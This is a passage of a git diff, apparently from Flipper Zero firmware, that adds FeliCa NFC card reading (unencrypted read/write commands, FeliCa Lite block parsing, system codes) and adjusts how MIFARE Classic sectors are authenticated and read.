+ FelicaReader* reader, + uint8_t* out, + uint16_t out_len) { + if(len < 12) { + return false; + } + len--; + buf++; + + if(*buf != FELICA_UNENCRYPTED_READ_RES) { + return false; + } + len--; + buf++; + + if(memcmp(buf, reader->current_idm, 8) != 0) { + return false; + } + len -= 8; + buf += 8; + + reader->status_flags[0] = buf[0]; + reader->status_flags[1] = buf[1]; + len -= 2; + buf += 2; + if(reader->status_flags[0] != 0) { + FURI_LOG_W(TAG, "SF1: %02X SF2: %02X", reader->status_flags[0], reader->status_flags[1]); + return 0; + } + + if(len < 1) { + return 0; + } + uint16_t data_length = *buf * FELICA_BLOCK_SIZE; + len--; + buf++; + + if(len < data_length || out_len < data_length) { + return 0; + } + + memcpy(out, buf, data_length); + + return data_length; +} + +uint8_t felica_prepare_unencrypted_write( + uint8_t* dest, + FelicaReader* reader, + const uint16_t* service_code_list, + uint8_t service_count, + const uint32_t* block_list, + uint8_t block_count, + const uint8_t* block_data) { + dest[0] = FELICA_UNENCRYPTED_WRITE_CMD; + memcpy(&dest[1], reader->current_idm, 8); + + dest[9] = service_count; + uint8_t msg_len = 10; + for(int i = 0; i < service_count; i++) { + uint16_t service_code = service_code_list[i]; + dest[msg_len++] = service_code & 0xFF; + dest[msg_len++] = service_code >> 8; + } + + dest[msg_len++] = block_count; + for(int i = 0; i < block_count; i++) { + uint16_t block_num = block_list[i]; + dest[msg_len++] = block_num & 0xFF; + dest[msg_len++] = block_num >> 8; + } + + uint16_t data_length = block_count * FELICA_BLOCK_SIZE; + memcpy(dest + msg_len, block_data, data_length); + msg_len += data_length; + return msg_len; +} + +uint8_t felica_lite_prepare_unencrypted_write( + uint8_t* dest, + const FelicaReader* reader, + const uint8_t* block_list, + uint8_t block_count, + const uint8_t* block_data) { + dest[0] = FELICA_UNENCRYPTED_WRITE_CMD; + memcpy(&dest[1], reader->current_idm, 8); + + dest[9] = 1; + uint8_t msg_len = 10; + uint8_t service_code = FelicaServiceTypeRandom | FelicaServiceAttributeUnauthRW; + dest[msg_len++] = service_code & 0xFF; + dest[msg_len++] = service_code >> 8; + + dest[msg_len++] = block_count; + for(int i = 0; i < block_count; i++) { + dest[msg_len++] = block_list[i]; + dest[msg_len++] = IS_2_BYTE_BLOCK_LIST_ELEMENT; + } + + uint16_t data_length = block_count * FELICA_BLOCK_SIZE; + memcpy(dest + msg_len, block_data, data_length); + msg_len += data_length; + return msg_len; +} + +bool felica_parse_unencrypted_write(uint8_t* buf, uint8_t len, FelicaReader* reader) { + if(len < 12) { + return false; + } + len--; + buf++; + + if(*buf != FELICA_UNENCRYPTED_WRITE_RES) { + return false; + } + len--; + buf++; + + if(memcmp(buf, reader->current_idm, 8) != 0) { + return false; + } + len -= 8; + buf += 8; + + reader->status_flags[0] = buf[0]; + reader->status_flags[1] = buf[1]; + len -= 2; + buf += 2; + if(reader->status_flags[0] != 0) { + FURI_LOG_W(TAG, "SF1: %02X SF2: %02X", reader->status_flags[0], reader->status_flags[1]); + return 0; + } + + return true; +} + +void felica_parse_system_info(FelicaSystem* system, uint8_t* IDm, uint8_t* PMm) { + memcpy(system->idm, IDm, 8); + memcpy(system->pmm, PMm, 8); + for(int i = 0; i < 6; i++) { + char MRT_byte = PMm[2 + i]; + FelicaMRTParts* mrt_data = &system->maximum_response_times[i]; + mrt_data->real_a = (MRT_byte & 7) + 1; + MRT_byte >>= 3; + mrt_data->real_b = (MRT_byte & 7) + 1; + MRT_byte >>= 3; + mrt_data->exponent = (MRT_byte & 3); + } +} + +bool felica_lite_can_read_without_mac(uint8_t* mc_r_restr, uint8_t block_number) { + if(block_number > REG_LITE_BLOCK) { + return true; + } + uint8_t byte = mc_r_restr[block_number < 8 ? 0 : 1]; + return ((byte >> (block_number % 8)) & 1) == 0; +} + +void felica_define_normal_block(FelicaService* service, uint16_t number, uint8_t* data) { + FelicaBlock* block = malloc(sizeof(FelicaBlock)); + memcpy(block->data, data, FELICA_BLOCK_SIZE); + FelicaBlockList_set_at(service->blocks, number, block); +} + +bool felica_read_lite_system( + FuriHalNfcTxRxContext* tx_rx, + FelicaReader* reader, + FelicaData* data, + FelicaSystem* system) { + const uint8_t fixed_blocks[] = { + SYS_CODE_LITE_BLOCK, + DEVICE_ID_LITE_BLOCK, + ID_LITE_BLOCK, + RC_LITE_BLOCK, + CARD_KEY_LITE_BLOCK, + MAC_LITE_BLOCK, + CARD_KEY_VER_LITE_BLOCK, + MEM_CONFIG_LITE_BLOCK, + }; + + uint8_t block_data[FELICA_BLOCK_SIZE * 4]; + + tx_rx->tx_bits = + 8 * felica_lite_prepare_unencrypted_read(tx_rx->tx_data, reader, true, fixed_blocks, 1); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange verifying Lite system code"); + return false; + } + if(felica_parse_unencrypted_read( + tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != + FELICA_BLOCK_SIZE) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (SYS_C)"); + return false; + } + if(nfc_util_bytes2num(block_data, 2) != LITE_SYSTEM_CODE) { + FURI_LOG_W(TAG, "Unexpected SYS_C value"); + return false; + } + + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( + tx_rx->tx_data, reader, true, &fixed_blocks[1], 1); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange reading D_ID"); + return false; + } + if(felica_parse_unencrypted_read( + tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != + FELICA_BLOCK_SIZE) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (D_ID)"); + return false; + } + if(memcmp(system->idm, block_data, 8) != 0 || memcmp(system->pmm, block_data + 8, 8) != 0) { + FURI_LOG_W(TAG, "Mismatching values for D_ID"); + return false; + } + + system->code = LITE_SYSTEM_CODE; + + FelicaLiteInfo* lite_info = &system->lite_info; + lite_info->card_key_1 = NULL; + lite_info->card_key_2 = NULL; + + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( + tx_rx->tx_data, reader, true, &fixed_blocks[2], 1); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange reading ID"); + return false; + } + if(felica_parse_unencrypted_read( + tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != + FELICA_BLOCK_SIZE) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (ID)"); + return false; + } + lite_info->data_format_code = nfc_util_bytes2num(block_data + 8, 2); + memcpy(lite_info->ID_value, block_data + 10, 6); + FURI_LOG_I(TAG, "ID:"); + for(int i = 0; i < FELICA_BLOCK_SIZE; i++) { + FURI_LOG_I(TAG, "%02X", block_data[i]); + } + + memset(block_data, 0, FELICA_BLOCK_SIZE); + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_write( + tx_rx->tx_data, reader, &fixed_blocks[3], 1, block_data); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange writing random challenge"); + return false; + } + if(!felica_parse_unencrypted_write(tx_rx->rx_data, tx_rx->rx_bits / 8, reader)) { + FURI_LOG_W(TAG, "Bad response to Write without Encryption (RC)"); + return false; + } + + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( + tx_rx->tx_data, reader, true, &fixed_blocks[4], 2); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange reading CK and MAC"); + return false; + } + if(felica_parse_unencrypted_read( + tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != + FELICA_BLOCK_SIZE * 2) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (CK, MAC)"); + return false; + } + memcpy(lite_info->MAC, block_data + FELICA_BLOCK_SIZE, 8); + FURI_LOG_I(TAG, "MAC:"); + for(int i = 0; i < FELICA_BLOCK_SIZE; i++) { + FURI_LOG_I(TAG, "%02X", block_data[i + FELICA_BLOCK_SIZE]); + } + + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( + tx_rx->tx_data, reader, true, &fixed_blocks[6], 2); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange reading CKV and MC"); + return false; + } + if(felica_parse_unencrypted_read( + tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != + FELICA_BLOCK_SIZE * 2) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (CKV, MC)"); + return false; + } + lite_info->card_key_version = nfc_util_bytes2num(block_data, 2); + memcpy(lite_info->memory_config, block_data + FELICA_BLOCK_SIZE, FELICA_BLOCK_SIZE); + + // Read SPAD and REG accordingly to MC + uint8_t* mc_data = lite_info->memory_config; + for(uint8_t block_number = 0; block_number <= REG_LITE_BLOCK; block_number++) { + if(!felica_lite_can_read_without_mac(mc_data + 6, block_number)) { + if(block_number < REG_LITE_BLOCK) { + lite_info->S_PAD[block_number] = NULL; + } else { + lite_info->REG = NULL; + } + continue; + } + + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( + tx_rx->tx_data, reader, true, &block_number, 1); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange reading blocks"); + return false; + } + if(felica_parse_unencrypted_read( + tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != + FELICA_BLOCK_SIZE) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (block %d)", block_number); + return false; + } + uint8_t* block = malloc(FELICA_BLOCK_SIZE); + memcpy(block, block_data, FELICA_BLOCK_SIZE); + if(block_number < REG_LITE_BLOCK) { + lite_info->S_PAD[block_number] = block; + } else { + lite_info->REG = block; + } + } + if(data->type == FelicaICTypeLiteS) { + const uint8_t fixed_s_blocks[] = { + CARD_KEY_LITE_BLOCK, + MAC_A_LITE_BLOCK, + WRITE_COUNT_LITE_BLOCK, + CRC_CHECK_LITE_BLOCK, + }; + + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( + tx_rx->tx_data, reader, true, fixed_s_blocks, 2); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange reading ID with MAC_A"); + return false; + } + if(felica_parse_unencrypted_read( + tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != + FELICA_BLOCK_SIZE * 2) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (CK, MAC_A)"); + return false; + } + memcpy(lite_info->MAC_A, block_data + FELICA_BLOCK_SIZE, FELICA_BLOCK_SIZE); + + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( + tx_rx->tx_data, reader, true, &fixed_s_blocks[2], 2); + if(!furi_hal_nfc_tx_rx_full(tx_rx)) { + FURI_LOG_W(TAG, "Bad exchange reading ID with MAC_A"); + return false; + } + if(felica_parse_unencrypted_read( + tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != + FELICA_BLOCK_SIZE * 2) { + FURI_LOG_W(TAG, "Bad response to Read without Encryption (WC, CRC_CHECK)"); + return false; + } + lite_info->write_count = nfc_util_bytes2num(block_data, 3); + lite_info->crc_valid = block_data[FELICA_BLOCK_SIZE] == 0x00; + } + + return true; +} + +bool felica_read_card( + FuriHalNfcTxRxContext* tx_rx, + FelicaData* data, + uint8_t* polled_idm, + uint8_t* polled_pmm) { + furi_assert(tx_rx); + furi_assert(polled_idm); + furi_assert(polled_pmm); + + bool card_read = false; + do { + FelicaReader reader; + memcpy(reader.current_idm, polled_idm, 8); + memcpy(reader.current_pmm, polled_pmm, 8); + + FelicaSystem* current_system = malloc(sizeof(FelicaSystem)); + FelicaSystemList_init(data->systems); + FelicaSystemList_push_back(data->systems, current_system); + + felica_parse_system_info(current_system, polled_idm, polled_pmm); + + if(data->type == FelicaICTypeLite || data->type == FelicaICTypeLiteS) { + FURI_LOG_I(TAG, "Reading Felica Lite system"); + felica_read_lite_system(tx_rx, &reader, data, current_system); + card_read = true; + break; + } + } while(false); + + return card_read; +} + +void felica_service_clear(FelicaService* service) { + FelicaBlockList_it_t it; + for(FelicaBlockList_it(it, service->blocks); !FelicaBlockList_end_p(it); + FelicaBlockList_next(it)) { + FelicaBlock* block = *FelicaBlockList_ref(it); + free(block); + } + FelicaBlockList_clear(service->blocks); +} + +void felica_lite_clear(FelicaLiteInfo* lite_info) { + for(int i = 0; i < REG_LITE_BLOCK; i++) { + uint8_t* block = lite_info->S_PAD[i]; + if(block != NULL) { + free(block); + } + } + + if(lite_info->REG != NULL) { + free(lite_info->REG); + } + + if(lite_info->card_key_1 != NULL) { + free(lite_info->card_key_1); + } + if(lite_info->card_key_2 != NULL) { + free(lite_info->card_key_2); + } +} + +void felica_area_clear(FelicaArea* area) { + FelicaNodeList_it_t it; + for(FelicaNodeList_it(it, area->nodes); !FelicaNodeList_end_p(it); FelicaNodeList_next(it)) { + FelicaNode* node = *FelicaNodeList_ref(it); + if(node->type == FelicaNodeTypeArea) { + felica_area_clear(node->area); + } else if(node->type == FelicaNodeTypeService) { + felica_service_clear(node->service); + } + free(node); + } + FelicaNodeList_clear(area->nodes); +} + +void felica_clear(FelicaData* data) { + FelicaSystemList_it_t it; + for(FelicaSystemList_it(it, data->systems); !FelicaSystemList_end_p(it); + FelicaSystemList_next(it)) { + FelicaSystem* system = *FelicaSystemList_ref(it); + if(system->code == LITE_SYSTEM_CODE) { + felica_lite_clear(&system->lite_info); + ; + } else { + felica_area_clear(&system->root_area); + } + } + FelicaSystemList_clear(data->systems); +} \ No newline at end of file diff --git a/lib/nfc/protocols/felica.h b/lib/nfc/protocols/felica.h new file mode 100644 index 000000000..fa81cba2f --- /dev/null +++ b/lib/nfc/protocols/felica.h @@ -0,0 +1,270 @@ +#pragma once + +#include +#include +#include + +#define NFCF_F_SIG (13560000.0) +#define MRT_T_SIG 302064.89 //ns, 256 * 16 / NFC_F_SIG * 1e9 +#define MRT_T_SIG_x4 1208259.56 //ns, MRT_T_SIG * (4 ** 1) +#define MRT_T_SIG_x16 4833038.24 //ns, MRT_T_SIG * (4 ** 2) +#define MRT_T_SIG_x64 19332152.96 //ns, MRT_T_SIG * (4 ** 2) + +#define FELICA_VARIABLE_MRT 0 +#define FELICA_FIXED_MRT 1 +#define FELICA_MUTUAL_AUTH_MRT 2 +#define FELICA_READ_MRT 3 +#define FELICA_WRITE_MRT 4 +#define FELICA_OTHER_MRT 5 + +#define FELICA_BLOCK_SIZE 16 + +#define CYBERNET_SYSTEM_CODE 0x0003 +#define NDEF_SYSTEM_CODE 0x12fc +#define HCE_F_SYSTEM_CODE 0x4000 +#define OCTOPUS_SYSTEM_CODE 0x8008 +#define IRUCA_SYSTEM_CODE 0x80de +#define EDY_SYSTEM_CODE 0x811d +#define PASPY_SYSTEM_CODE 0x8592 +#define BLACKBOARD_SYSTEM_CODE 0x8620 +#define SAPICA_SYSTEM_CODE 0x865e +#define SUICA_SYSTEM_CODE 0x86a7 +#define LITE_SYSTEM_CODE 0x88b4 +#define RYUTO_SYSTEM_CODE 0x8b5d +#define OKICA_SYSTEM_CODE 0x8fc1 +#define SECURE_ID_SYSTEM_CODE 0x957a +#define COMMON_AREA_SYSTEM_CODE 0xfe00 +#define PLUG_SYSTEM_CODE 0xfee1 + +#define REG_LITE_BLOCK 0x0e +#define RC_LITE_BLOCK 0x80 +#define MAC_LITE_BLOCK 0x81 +#define ID_LITE_BLOCK 0x82 +#define DEVICE_ID_LITE_BLOCK 0x83 +#define SERVICE_CODE_LITE_BLOCK 0x84 +#define SYS_CODE_LITE_BLOCK 0x85 +#define CARD_KEY_VER_LITE_BLOCK 0x86 +#define CARD_KEY_LITE_BLOCK 0x87 +#define MEM_CONFIG_LITE_BLOCK 0x88 +#define WRITE_COUNT_LITE_BLOCK 0x90 +#define MAC_A_LITE_BLOCK 0x91 +#define STATE_LITE_BLOCK 0x92 +#define CRC_CHECK_LITE_BLOCK 0xA0 + +#define IS_2_BYTE_BLOCK_LIST_ELEMENT 0x80 + +#define FELICA_UNENCRYPTED_READ_CMD 0x06 +#define FELICA_UNENCRYPTED_WRITE_CMD 0x08 + +#define FELICA_UNENCRYPTED_READ_RES 0x07 +#define FELICA_UNENCRYPTED_WRITE_RES 0x09 + +typedef enum { + FelicaICTypeRC_SA24_10K, // RC-SA24/1x + FelicaICTypeRC_SA24_6K, // RC-SA24/1x1 + FelicaICTypeSD2_6K, // RC-SA21/2x1 + FelicaICTypeSD2_4K, // RC-SA21/2 + FelicaICTypeSD2WithDES, // RC-SA20/1, RC-SA20/2 + FelicaICTypeRC_SA08, // Certifications exist, prototype? + FelicaICTypeSD1, // RC-SA01 + FelicaICTypeSD1WithDES, // RC-SA00 + FelicaICTypeFRAM_4K, // RC-S962 + FelicaICTypeFRAM_9K, // RC-S960 + FelicaICTypeEMV_36K, // RC-S954 + FelicaICTypeEMV_16K, // RC-S953 + FelicaICTypeEMV_32K, // RC-S952 + FelicaICType576B, // RC-S919 + FelicaICType4K, // RC-S915 + FelicaICType2K, // RC-S830 series cards, chip name unknown, + FelicaICTypeMobileIC_V4_1, + FelicaICTypeMobileIC_V4, + FelicaICTypeMobileIC_V3, + FelicaICTypeMobileIC_V2, + FelicaICTypeMobileIC_V1, + FelicaICTypeLite, // RC-S965 + FelicaICTypeLiteS, // RC-S966 + FelicaICTypeLink, // RC-S967, + FelicaICTypePlug, // RC-S926 + FelicaICTypeSuica, // https://www.tuv-nederland.nl/assets/files/cerfiticaten/2019/07/cr-nscib-cc-10-30076-cr.pdf +} FelicaICType; + +typedef struct { + uint8_t exponent : 2; + // Incremented at read + uint8_t real_a : 4; + uint8_t real_b : 4; +} FelicaMRTParts; + +typedef enum { + FelicaServiceTypeRandom = (0b0010 << 2), + FelicaServiceTypeCyclic = (0b0011 << 2), + FelicaServiceTypePurse = (0b010 << 3), +} FelicaServiceType; +typedef enum { + FelicaServiceAttributeAuthRW = 0b00, + FelicaServiceAttributeUnauthRW = 0b01, + FelicaServiceAttributeAuthRO = 0b10, + FelicaServiceAttributeUnauthRO = 0b11, + + FelicaServiceAttributeAuthDirectAccess = 0b000, + FelicaServiceAttributeUnauthDirectAccess = 0b001, + FelicaServiceAttributeAuthCashbackDecrement = 0b010, + FelicaServiceAttributeUnauthCashbackDecrement = 0b011, + FelicaServiceAttributeAuthDecrement = 0b100, + FelicaServiceAttributeUnauthDecrement = 0b101, + FelicaServiceAttributeAuthPurseRO = 0b110, + FelicaServiceAttributeUnauthPurseRO = 0b111, +} FelicaServiceAttribute; + +DICT_SET_DEF( + FelicaServiceAttributeList, + FelicaServiceAttribute, + M_ENUM_OPLIST(FelicaServiceAttribute, FelicaServiceAttributeAuthRW)) + +typedef FelicaMRTParts FelicaMRTParameters[6]; + +typedef struct { + uint8_t data[FELICA_BLOCK_SIZE]; +} FelicaBlock; + +ARRAY_DEF(FelicaBlockList, FelicaBlock*, M_PTR_OPLIST) + +typedef struct { + uint16_t number; + FelicaServiceAttributeList_t access_control_list; // accounts for overlap services + bool is_extended_overlap; + union { + FelicaBlockList_t blocks; + struct { + uint16_t overlap_target; + uint8_t block_start; + uint8_t block_count; + }; + }; +} FelicaService; + +typedef enum { + FelicaNodeTypeArea, + FelicaNodeTypeService, +} FelicaNodeType; + +struct _FelicaArea_t; +typedef struct { + FelicaNodeType type; + union { + struct _FelicaArea_t* area; + FelicaService* service; + }; +} FelicaNode; + +ARRAY_DEF(FelicaNodeList, FelicaNode*, M_PTR_OPLIST) + +typedef struct _FelicaArea_t { + uint16_t number; + bool can_create_subareas; + uint16_t end_service_code; + + FelicaNodeList_t nodes; +} FelicaArea; + +typedef struct { + uint8_t* S_PAD[14]; + uint8_t* REG; + // MACs of all zero bytes (read from CK) + uint8_t MAC[8]; + uint16_t data_format_code; + uint8_t ID_value[6]; + uint8_t* card_key_1; + uint8_t* card_key_2; + uint16_t card_key_version; + uint8_t memory_config[FELICA_BLOCK_SIZE]; + + // Lite-S only + uint8_t MAC_A[8]; + uint32_t write_count; + bool crc_valid; +} FelicaLiteInfo; + +typedef struct _FelicaSystem_t { + uint8_t number; + uint16_t code; + uint8_t idm[8]; + uint8_t pmm[8]; + FelicaMRTParameters maximum_response_times; + + union { + FelicaLiteInfo lite_info; + FelicaArea root_area; + }; +} FelicaSystem; + +ARRAY_DEF(FelicaSystemList, FelicaSystem*, M_PTR_OPLIST) + +typedef struct { + FelicaICType type; + uint8_t subtype; + FelicaSystemList_t systems; +} FelicaData; + +typedef struct { + uint8_t current_idm[8]; + uint8_t current_pmm[8]; + + uint8_t status_flags[2]; +} FelicaReader; + +bool felica_check_ic_type(uint8_t* PMm); +FelicaICType felica_get_ic_type(uint8_t* PMm); + +uint8_t felica_prepare_unencrypted_read( + uint8_t* dest, + const FelicaReader* reader, + const uint16_t* service_code_list, + uint8_t service_count, + const uint32_t* block_list, + uint8_t block_count); +uint8_t felica_lite_prepare_unencrypted_read( + uint8_t* dest, + const FelicaReader* reader, + bool is_read_only, + const uint8_t* block_list, + uint8_t block_count); +uint16_t felica_parse_unencrypted_read( + uint8_t* buf, + uint8_t len, + FelicaReader* reader, + uint8_t* out, + uint16_t out_len); + +uint8_t felica_prepare_unencrypted_write( + uint8_t* dest, + FelicaReader* reader, + const uint16_t* service_code_list, + uint8_t service_count, + const uint32_t* block_list, + uint8_t block_count, + const uint8_t* block_data); +uint8_t felica_lite_prepare_unencrypted_write( + uint8_t* dest, + const FelicaReader* reader, + const uint8_t* block_list, + uint8_t block_count, + const uint8_t* block_data); +bool felica_parse_unencrypted_write(uint8_t* buf, uint8_t len, FelicaReader* reader); + +bool felica_lite_can_read_without_mac(uint8_t* mc_r_restr, uint8_t block_number); + +void felica_define_normal_block(FelicaService* service, uint16_t number, uint8_t* data); + +bool felica_read_lite_system( + FuriHalNfcTxRxContext* tx_rx, + FelicaReader* reader, + FelicaData* data, + FelicaSystem* system); + +bool felica_read_card( + FuriHalNfcTxRxContext* tx_rx, + FelicaData* data, + uint8_t* polled_idm, + uint8_t* polled_pmm); +void felica_clear(FelicaData* data); \ No newline at end of file diff --git a/lib/nfc/protocols/felica_util.c b/lib/nfc/protocols/felica_util.c new file mode 100644 index 000000000..a5198aa09 --- /dev/null +++ b/lib/nfc/protocols/felica_util.c @@ -0,0 +1,43 @@ +#include "./felica.h" +#include + +FuriString* felica_get_system_name(FelicaSystem* system) { + uint16_t code = system->code; + + const char* prefix; + if(code == SUICA_SYSTEM_CODE) { + prefix = "SuiCa"; + } else if(code == NDEF_SYSTEM_CODE) { + prefix = "NDEF"; + } else if(code == HCE_F_SYSTEM_CODE) { + prefix = "HCE-F"; + } else if(code == OCTOPUS_SYSTEM_CODE) { + prefix = "Octopus"; + } else if(code == EDY_SYSTEM_CODE) { + prefix = "Edy"; + } else if(code == PASPY_SYSTEM_CODE) { + prefix = "PASPY"; + } else if(code == BLACKBOARD_SYSTEM_CODE) { + prefix = "Blackboard"; + } else if(code == SAPICA_SYSTEM_CODE) { + prefix = "SAPICA"; + } else if(code == LITE_SYSTEM_CODE) { + prefix = "FeliCa Lite"; + } else if(code == RYUTO_SYSTEM_CODE) { + prefix = "Ryuto"; + } else if(code == OKICA_SYSTEM_CODE) { + prefix = "OKICA"; + } else if(code == SECURE_ID_SYSTEM_CODE) { + prefix = "FeliCa Secure ID"; + } else if(code == IRUCA_SYSTEM_CODE) { + prefix = "IruCa"; + } else if(code == COMMON_AREA_SYSTEM_CODE) { + prefix = "Common Area"; + } else if(code == PLUG_SYSTEM_CODE) { + prefix = "FeliCa Plug"; + } else { + return furi_string_alloc_printf("System %04X", code); + } + + return furi_string_alloc_printf("%s (%04X)", prefix, code); +} \ No newline at end of file diff --git a/lib/nfc/protocols/felica_util.h b/lib/nfc/protocols/felica_util.h new file mode 100644 index 000000000..4224668eb --- /dev/null +++ b/lib/nfc/protocols/felica_util.h @@ -0,0 +1,4 @@ +#include "./felica.h" + +FuriString* felica_get_system_name(FelicaSystem* system); +FuriString* felica_get_service_name(FelicaService* service); \ No newline at end of file diff --git a/lib/nfc/protocols/mifare_classic.c b/lib/nfc/protocols/mifare_classic.c index 0adcb1923..31c347021 100644 --- a/lib/nfc/protocols/mifare_classic.c +++ b/lib/nfc/protocols/mifare_classic.c @@ -291,6 +291,10 @@ bool mf_classic_is_allowed_access_data_block( uint8_t* sector_trailer = data->block[mf_classic_get_sector_trailer_num_by_block(block_num)].value; + if(block_num == 0 && action == MfClassicActionDataWrite) { + return false; + } + uint8_t sector_block; if(block_num <= 128) { sector_block = block_num & 0x03; @@ -370,8 +374,10 @@ bool mf_classic_is_value_block(MfClassicData* data, uint8_t block_num) { data, block_num, MfClassicKeyB, MfClassicActionDataDec)); } -bool mf_classic_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { - UNUSED(ATQA1); +bool mf_classic_check_card_type(FuriHalNfcADevData* data) { + uint8_t ATQA0 = data->atqa[0]; + uint8_t ATQA1 = data->atqa[1]; + uint8_t SAK = data->sak; if((ATQA0 == 0x44 || ATQA0 == 0x04) && (SAK == 0x08 || SAK == 0x88 || SAK == 0x09)) { return true; } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) { @@ -384,8 +390,10 @@ bool mf_classic_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { } } -MfClassicType mf_classic_get_classic_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { - UNUSED(ATQA1); +MfClassicType mf_classic_get_classic_type(FuriHalNfcADevData* data) { + uint8_t ATQA0 = data->atqa[0]; + uint8_t ATQA1 = data->atqa[1]; + uint8_t SAK = data->sak; if((ATQA0 == 0x44 || ATQA0 == 0x04)) { if((SAK == 0x08 || SAK == 0x88)) { return MfClassicType1k; @@ -647,22 +655,30 @@ void mf_classic_read_sector(FuriHalNfcTxRxContext* tx_rx, MfClassicData* data, u if(!key_a_found) break; FURI_LOG_D(TAG, "Try to read blocks with key A"); key = nfc_util_bytes2num(sec_tr->key_a, sizeof(sec_tr->key_a)); + if(!mf_classic_auth(tx_rx, start_block, key, MfClassicKeyA, &crypto, false, 0)) { + mf_classic_set_key_not_found(data, sec_num, MfClassicKeyA); + FURI_LOG_D(TAG, "Key %dA not found in read", sec_num); + break; + } + for(size_t i = start_block; i < start_block + total_blocks; i++) { if(!mf_classic_is_block_read(data, i)) { - if(!mf_classic_auth(tx_rx, i, key, MfClassicKeyA, &crypto, false, 0)) continue; if(mf_classic_read_block(tx_rx, &crypto, i, &block_tmp)) { mf_classic_set_block_read(data, i, &block_tmp); blocks_read++; } else if(i > start_block) { // Try to re-auth to read block in case prevous block was protected from read furi_hal_nfc_sleep(); - if(!mf_classic_auth(tx_rx, i, key, MfClassicKeyA, &crypto, false, 0)) break; + if(!mf_classic_auth(tx_rx, i, key, MfClassicKeyA, &crypto, false, 0)) { + mf_classic_set_key_not_found(data, sec_num, MfClassicKeyA); + FURI_LOG_D(TAG, "Key %dA not found in read", sec_num); + break; + } if(mf_classic_read_block(tx_rx, &crypto, i, &block_tmp)) { mf_classic_set_block_read(data, i, &block_tmp); blocks_read++; } } - furi_hal_nfc_sleep(); } else { blocks_read++; } @@ -677,23 +693,30 @@ void mf_classic_read_sector(FuriHalNfcTxRxContext* tx_rx, MfClassicData* data, u } FURI_LOG_D(TAG, "Try to read blocks with key B"); key = nfc_util_bytes2num(sec_tr->key_b, sizeof(sec_tr->key_b)); - if(!mf_classic_auth(tx_rx, start_block, key, MfClassicKeyB, &crypto, false, 0)) break; + if(!mf_classic_auth(tx_rx, start_block, key, MfClassicKeyB, &crypto, false, 0)) { + mf_classic_set_key_not_found(data, sec_num, MfClassicKeyB); + FURI_LOG_D(TAG, "Key %dB not found in read", sec_num); + break; + } + for(size_t i = start_block; i < start_block + total_blocks; i++) { if(!mf_classic_is_block_read(data, i)) { - if(!mf_classic_auth(tx_rx, i, key, MfClassicKeyB, &crypto, false, 0)) continue; if(mf_classic_read_block(tx_rx, &crypto, i, &block_tmp)) { mf_classic_set_block_read(data, i, &block_tmp); blocks_read++; } else if(i > start_block) { // Try to re-auth to read block in case prevous block was protected from read furi_hal_nfc_sleep(); - if(!mf_classic_auth(tx_rx, i, key, MfClassicKeyB, &crypto, false, 0)) break; + if(!mf_classic_auth(tx_rx, i, key, MfClassicKeyB, &crypto, false, 0)) { + mf_classic_set_key_not_found(data, sec_num, MfClassicKeyB); + FURI_LOG_D(TAG, "Key %dB not found in read", sec_num); + break; + } if(mf_classic_read_block(tx_rx, &crypto, i, &block_tmp)) { mf_classic_set_block_read(data, i, &block_tmp); blocks_read++; } } - furi_hal_nfc_sleep(); } else { blocks_read++; } @@ -1520,4 +1543,4 @@ bool mf_classic_write_sector( } return write_success; -} \ No newline at end of file +} diff --git a/lib/nfc/protocols/mifare_classic.h b/lib/nfc/protocols/mifare_classic.h index f2623d16e..f39c2ca68 100644 --- a/lib/nfc/protocols/mifare_classic.h +++ b/lib/nfc/protocols/mifare_classic.h @@ -9,7 +9,6 @@ #define MF_MINI_TOTAL_SECTORS_NUM (5) #define MF_CLASSIC_1K_TOTAL_SECTORS_NUM (16) #define MF_CLASSIC_4K_TOTAL_SECTORS_NUM (40) -#define MF_MINI_TOTAL_SECTORS_NUM (5) #define MF_CLASSIC_SECTORS_MAX (40) #define MF_CLASSIC_BLOCKS_IN_SECTOR_MAX (16) @@ -20,9 +19,9 @@ #define MF_CLASSIC_ACCESS_BYTES_SIZE (4) typedef enum { - MfClassicTypeMini, MfClassicType1k, MfClassicType4k, + 